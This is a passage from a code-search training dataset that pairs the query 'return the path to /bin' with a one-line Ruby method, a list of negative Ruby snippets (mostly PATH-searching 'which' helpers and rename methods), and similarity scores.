"def rename_table(old_tablename, new_tablename)\r\n raise \"Cannot rename table running in client mode!\" if client?\r\n raise \"Table does not exist!\" unless table_exists?(old_tablename)\r\n raise(ArgumentError, 'Existing table name must be a symbol!') \\\r\n unless old_tablename.is_a?(Symbol)\r\n raise(ArgumentError, 'New table name must be a symbol!') unless \\\r\n new_tablename.is_a?(Symbol)\r\n raise \"Table already exists!\" if table_exists?(new_tablename)\r\n\r\n @table_hash.delete(old_tablename)\r\n @engine.rename_table(old_tablename, new_tablename)\r\n get_table(new_tablename)\r\n end",
"def on_name_changed(new_name:, **)\n @name = new_name\n end",
"def renamed?\n name_changed? || urlname_changed?\n end",
"def execute()\r\n File.rename(@OldFileName, @NewFileName)\r\n end",
"def name\n\t\t\"Interface Fingerprinter\"\n\tend",
"def rename(args)\n old_dn = args[:olddn] or raise \"Unable to rename empty DN\"\n new_rdn = args[:newrdn] or raise \"Unable to rename to empty RDN\"\n delete_attrs = args[:delete_attributes] ? true : false\n new_superior = args[:new_superior]\n\n message_id = next_msgid\n request = [old_dn.to_ber, new_rdn.to_ber, delete_attrs.to_ber]\n request << new_superior.to_ber_contextspecific(0) unless new_superior == nil\n\n write(request.to_ber_appsequence(Net::LDAP::PDU::ModifyRDNRequest), nil, message_id)\n pdu = queued_read(message_id)\n\n if !pdu || pdu.app_tag != Net::LDAP::PDU::ModifyRDNResponse\n raise Net::LDAP::ResponseMissingOrInvalidError.new \"response missing or invalid\"\n end\n\n pdu\n end",
"def chrono_rename_history_indexes(name, new_name)\n on_history_schema do\n standard_index_names = %w(\n inherit_pkey instance_history pkey\n recorded_at timeline_consistency )\n\n old_names = temporal_index_names(name, :validity) +\n standard_index_names.map {|i| [name, i].join('_') }\n\n new_names = temporal_index_names(new_name, :validity) +\n standard_index_names.map {|i| [new_name, i].join('_') }\n\n old_names.zip(new_names).each do |old, new|\n execute \"ALTER INDEX #{old} RENAME TO #{new}\"\n end\n end\n end",
"def rename!(new_name, orig_name)\n new_name = new_name.to_underscore_sym\n orig_name = orig_name.to_underscore_sym\n raise ArgumentError, \"Column not found\" unless self.labels.include?(orig_name)\n raise ArgumentError, \"Cannot name #{orig_name} to #{new_name}, that column already exists.\" if self.labels.include?(new_name)\n i = self.labels.index(orig_name)\n self.labels[i] = new_name\n end",
"def rename(dn, new_rdn)\n @conn.rename :olddn => dn, :newrdn => new_rdn\n new_dn = dn.gsub(/^.+,/, \"#{new_rdn},\")\n\n return RubyLdapom::LdapNode.new(self, new_dn, false)\n end",
"def rename_event_trigger(name, new_name)\n execute \"ALTER EVENT TRIGGER #{quote_generic(name)} RENAME TO #{quote_generic(new_name)};\"\n end",
"def rename\r\n render\r\n end",
"def rename\n render\n end",
"def name_swap(real_name)\n\tnew_name = name_handler(real_name)\n puts new_name\n return new_name\nend",
"def rename(old, new)\n args = [\"old=#{old.uri_escape}\", \"new=#{new.uri_escape}\"]\n get('/api/tags/rename?' << args.join('&'))\n nil\n end",
"def renamed?\n name_changed? || urlname_changed?\n end",
"def rename_tab(name)\n if self.respond_to?(\"#{name}_tab_name\")\n n = self.send(\"#{name}_tab_name\")\n n if !n.blank?\n end\n end",
"def icon_change_icon(icon_change_index)\n if @handle.ptr == nil\n raise \"this is disposed\"\n end\n result = Native.SplitsComponentState_icon_change_icon(@handle.ptr, icon_change_index)\n result\n end",
"def renamenx(old_name, new_name)\n send_command([:renamenx, old_name, new_name], &Boolify)\n end",
"def add(interface_name)\n model.add(interface_name)\n end",
"def rename(new_filename)\n @filename = new_filename\n end",
"def rename(new_name)\n json_body = { :name => new_name }.to_json\n HTTParty.put(base_request_uri, :body => json_body)\n @name = new_name\n end",
"def disconnected(interface)\n\t\t@status_lock.synchronize {\n\t\t\tstatus_array = @connected_interfaces.delete(interface)\n\t\t\tstatus_array.each do |status_hash|\n\t\t\t\tstatus_hash.delete(interface)\n\t\t\tend\n\t\t\t#\n\t\t\t# TODO::Refactor required\n\t\t\t#\tThis still isn't perfect as we could be observing modules we are not using...\n\t\t\t#\n\t\t}\n\t\tlogger.debug \"-- Interface #{interface.class} disconnected\" unless logger.nil?\n\tend",
"def rename(renames)\n operations = renames.inject({}) do |ops, (old_name, new_name)|\n ops[old_name] = new_name.to_s\n ops\n end\n view.update_many(\"$rename\" => collect_operations(operations))\n end",
"def interfaces=(new_interfaces)\n new_interfaces.each {|i| i.possible_types << self }\n @interfaces = new_interfaces\n end",
"def visit_upgrade\n raise NotImplementedError, 'This is an interface'\n end",
"def rename_storage_object\n if self.permanent_key_was.present? && self.permanent_key.present?\n target_key = nil\n if self.permanent_key != self.permanent_key_was\n target_key = self.permanent_key\n elsif self.filename != self.filename_was\n target_key = self.class.permanent_key(institution_key: self.institution.key,\n item_id: self.item_id,\n filename: self.filename)\n end\n if target_key\n PersistentStore.instance.move_object(source_key: self.permanent_key_was,\n target_key: target_key)\n self.update_column(:permanent_key, target_key) # skip callbacks\n end\n elsif self.staging_key_was.present? && self.staging_key.present?\n target_key = nil\n if self.staging_key != self.staging_key_was\n target_key = self.staging_key\n elsif self.filename != self.filename_was\n target_key = self.class.staging_key(institution_key: self.institution.key,\n item_id: self.item_id,\n filename: self.filename)\n end\n if target_key\n PersistentStore.instance.move_object(source_key: self.staging_key_was,\n target_key: target_key)\n self.update_column(:staging_key, target_key) # skip callbacks\n end\n end\n end"
] |
[
"0.7386079",
"0.7318025",
"0.6469028",
"0.6151278",
"0.59545046",
"0.5888089",
"0.5760561",
"0.5647251",
"0.5647251",
"0.5585602",
"0.557492",
"0.54986477",
"0.5437905",
"0.5394161",
"0.53864264",
"0.5385541",
"0.53659827",
"0.5354233",
"0.53206354",
"0.53186214",
"0.53125674",
"0.528706",
"0.52839166",
"0.5273456",
"0.5231323",
"0.52222306",
"0.52060944",
"0.5201951",
"0.51823556",
"0.5163527",
"0.51630545",
"0.5156634",
"0.5156634",
"0.51479083",
"0.5141853",
"0.51286113",
"0.5122745",
"0.5109466",
"0.50911295",
"0.5064211",
"0.5061412",
"0.5057221",
"0.5055899",
"0.50387764",
"0.5037511",
"0.5036008",
"0.50320476",
"0.5006307",
"0.50044566",
"0.5004048",
"0.49807265",
"0.49770847",
"0.49458563",
"0.49445033",
"0.49445033",
"0.49437952",
"0.49292397",
"0.49264646",
"0.49256995",
"0.49190956",
"0.4914494",
"0.48977527",
"0.48938406",
"0.48846987",
"0.48807526",
"0.48780385",
"0.48762634",
"0.48752338",
"0.48741728",
"0.48720527",
"0.486968",
"0.4865828",
"0.48618978",
"0.48609483",
"0.48547044",
"0.48530748",
"0.48504397",
"0.48358947",
"0.48194984",
"0.48115194",
"0.4804434",
"0.47999752",
"0.4793175",
"0.47916743",
"0.47904232",
"0.47869086",
"0.4786812",
"0.47862202",
"0.47691992",
"0.4767295",
"0.4755524",
"0.4746202",
"0.47412434",
"0.47329924",
"0.4729415",
"0.47259414",
"0.471681",
"0.4710012"
] |
0.64375025
|
5
|
Return path to `/bin` or an alternative, where a shell is looked up
|
def bin_path(_opts)
'/bin'
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def bin_path\n '/usr/local/bin'.p\n end",
"def shell_path\n value = shell_name.to_s\n\n if value.match(/^\\//)\n # Absolute path already provided (starts with \"/\")\n value.p\n else\n # Shell name provided, use \"which\" to find the executable\n which(value).p\n end\n end",
"def which(cmd)\n path = \"/usr/local/bin/#{cmd}\"\n if not File.exists?(path)\n path = \"/sw/bin/#{cmd}\"\n end\n return path;\nend",
"def which(*bins)\n bins.flatten.each do |bin|\n ENV[\"PATH\"].split(\":\").each do |dir|\n full_path = File.join(dir, bin)\n return full_path if File.exist? full_path\n end\n end\n nil\nend",
"def which(cmd)\r\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\r\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\r\n exts.each { |ext|\r\n exe = File.join(path, \"#{cmd}#{ext}\")\r\n return exe if File.executable? exe\r\n }\r\n end\r\n return nil\r\nend",
"def which cmd\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which cmd\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n # return nil\n end",
"def which(cmd)\r\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\r\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\r\n exts.each do |ext|\r\n exe = File.join(path, \"#{cmd}#{ext}\")\r\n return exe if File.executable?(exe) && !File.directory?(exe)\r\n end\r\n end\r\n nil\r\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def find_shell_wrapper_or_executable prog\n @bindir.each do |dir|\n fname = File.join(dir, \"#{prog}.sh\")\n\n# $stderr.print \"Checking '#{fname}'\\n\"\n\n return fname if File.executable_real? fname\n end\n\n return find_executable(prog)\n end",
"def which(cmd)\r\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\r\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\r\n exts.each do |ext|\r\n exe = File.join(path, \"#{cmd}#{ext}\")\r\n return exe if File.executable?(exe) && !File.directory?(exe)\r\n end\r\n end\r\n nil\r\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each {|ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n return nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n return nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\n end",
"def get_path\n cmd_exec('echo $PATH').to_s\n rescue\n raise \"Unable to determine path\"\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n end\n end\n\n nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n\n return nil\nend",
"def which(cmd)\n exts = ENV[\"PATHEXT\"] ? ENV[\"PATHEXT\"].split(\";\") : [\"\"]\n ENV[\"PATH\"].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\nend",
"def which_path(bin_name)\n bin_path = `which #{bin_name}`.strip\n bin_path.empty? ? nil : bin_path\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n return nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\nreturn nil\nend",
"def which(cmd)\n ENV[\"PATH\"] = \"\" if ENV[\"PATH\"].nil?\n paths = (ENV['PATH'].split(::File::PATH_SEPARATOR) + %w(/bin /usr/bin /sbin /usr/sbin))\n\n paths.each do |path|\n possible = File.join(path, cmd)\n return possible if File.executable?(possible)\n end\n\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n }\n end\n\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each { |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n }\n end\n return nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |dir|\n exts.each do |ext|\n path = File.join(dir, \"#{cmd}#{ext}\")\n if File.executable?(path) && File.file?(path)\n return path\n end\n end\n end\n nil\n end",
"def which(cmd)\n\t# Stolen from http://stackoverflow.com/questions/210872\n\texts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n\tENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n\t\texts.each { |ext|\n\t\t\texe = File.join(path, \"#{cmd}#{ext}\")\n\t\t\treturn exe if File.executable? exe\n\t\t}\n\tend\n \treturn nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n end\n end\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each {|ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable?(exe) && !File.directory?(exe)\n }\n end\n return nil\n end",
"def which(cmd)\n\texts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n\tENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n\t\texts.each do |ext|\n\t\t\texe = File.join(path, \"#{cmd}#{ext}\")\n\t\t\treturn exe if File.executable? exe\n\t\tend\n\tend\n\treturn nil\nend",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n end\n end\n return nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = \"#{path}/#{cmd}#{ext}\"\n return exe if File.executable? exe\n end\n end\n return nil\n end",
"def which(cmd)\n return nil unless cmd && cmd.length > 0\n if cmd.include?(File::SEPARATOR)\n return cmd if File.executable? cmd\n end\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n binary = File.join(path, \"#{cmd}\")\n return binary if File.executable? binary\n end\n return nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n end\n end\n nil\n end",
"def shell_path\n Configuration.disable_bc_shell? ? nil : Pathname.new('/bin/bash')\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = \"#{ path }/#{ cmd }#{ ext }\"\n return exe if File.executable?(exe)\n end\n end\n\n nil\n end",
"def cmd_path\n return @cmd_path unless @cmd_path.nil?\n\n @cmd_path = File.join(context.root_path, 'bin', cmd)\n # Return the path to the command if it exists on disk, or we have a gemfile (i.e. Bundled install)\n # The Bundle may be created after the prepare_invoke so if the file doesn't exist, it may not be an error\n return @cmd_path if PDK::Util::Filesystem.exist?(@cmd_path) || !PDK::Util::Bundler::BundleHelper.new.gemfile.nil?\n\n # But if there is no Gemfile AND cmd doesn't exist in the default path, we need to go searching...\n @cmd_path = alternate_bin_paths.map { |alternate_path| File.join(alternate_path, cmd) }\n .find { |path| PDK::Util::Filesystem.exist?(path) }\n return @cmd_path unless @cmd_path.nil?\n\n # If we can't find it anywhere, just let the OS find it\n @cmd_path = cmd\n end",
"def which(cmd, extra_path: %w{/bin /usr/bin /sbin /usr/sbin}, path: nil)\n # If it was already absolute, just return that.\n return cmd if cmd =~ /^(\\/|([a-z]:)?\\\\)/i\n # Allow passing something other than the real env var.\n path ||= ENV['PATH']\n # Based on Chef::Mixin::Which#which\n # Copyright 2010-2015, Chef Softare, Inc.\n paths = path.split(File::PATH_SEPARATOR) + extra_path\n paths.each do |candidate_path|\n filename = ::File.join(candidate_path, cmd)\n return filename if ::File.executable?(filename)\n end\n false\n end",
"def which(cmd)\n exts = ENV[\"PATHEXT\"] ? ENV[\"PATHEXT\"].split(\";\") : [\"\"]\n\n ENV[\"PATH\"].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = File.join(path, \"#{cmd}#{ext}\")\n return exe if File.executable? exe\n end\n end\n\n nil\n end",
"def which(cmd)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = \"#{ path }/#{ cmd }#{ ext }\"\n return exe if File.executable?(exe)\n end\n end\n\n nil\n end",
"def which(command)\n exts = ENV['PATHEXT'] ? ENV['PATHEXT'].split(';') : ['']\n ENV['PATH'].split(File::PATH_SEPARATOR).each do |path|\n exts.each do |ext|\n exe = \"#{path}/#{command}#{ext}\"\n return exe if File.executable? exe\n end\n end\n return nil\n end",
"def which(prog, path = ENV['PATH'])\n path.split(File::PATH_SEPARATOR).each do |dir|\n if File::ALT_SEPARATOR\n ext = Win32Exts.find do |ext|\n if prog.include?('.')\n f = File.join(dir, prog)\n else\n f = File.join(dir, prog+ext)\n end\n File.executable?(f) && !File.directory?(f)\n end\n if ext\n if prog.include?('.')\n f = File.join(dir, prog).gsub(/\\//,'\\\\')\n else\n f = File.join(dir, prog + ext).gsub(/\\//,'\\\\')\n end\n return f\n end\n else\n f = File.join(dir, prog)\n if File.executable?(f) && !File.directory?(f)\n return File::join(dir, prog)\n end\n end\n end\n\n nil\n end",
"def which(bin, *path)\n path = path + ['/usr/bin', '/usr/sbin', '/usr/local/bin', '/usr/local/sbin']\n path += ENV['PATH'].split(File::PATH_SEPARATOR)\n path.flatten.uniq.each do |dir|\n dest = File.join(dir, bin)\n return dest if FileTest.file? dest and FileTest.executable? dest\n end\n return false\n rescue StandardError => e\n logger.warn e\n return false\n end",
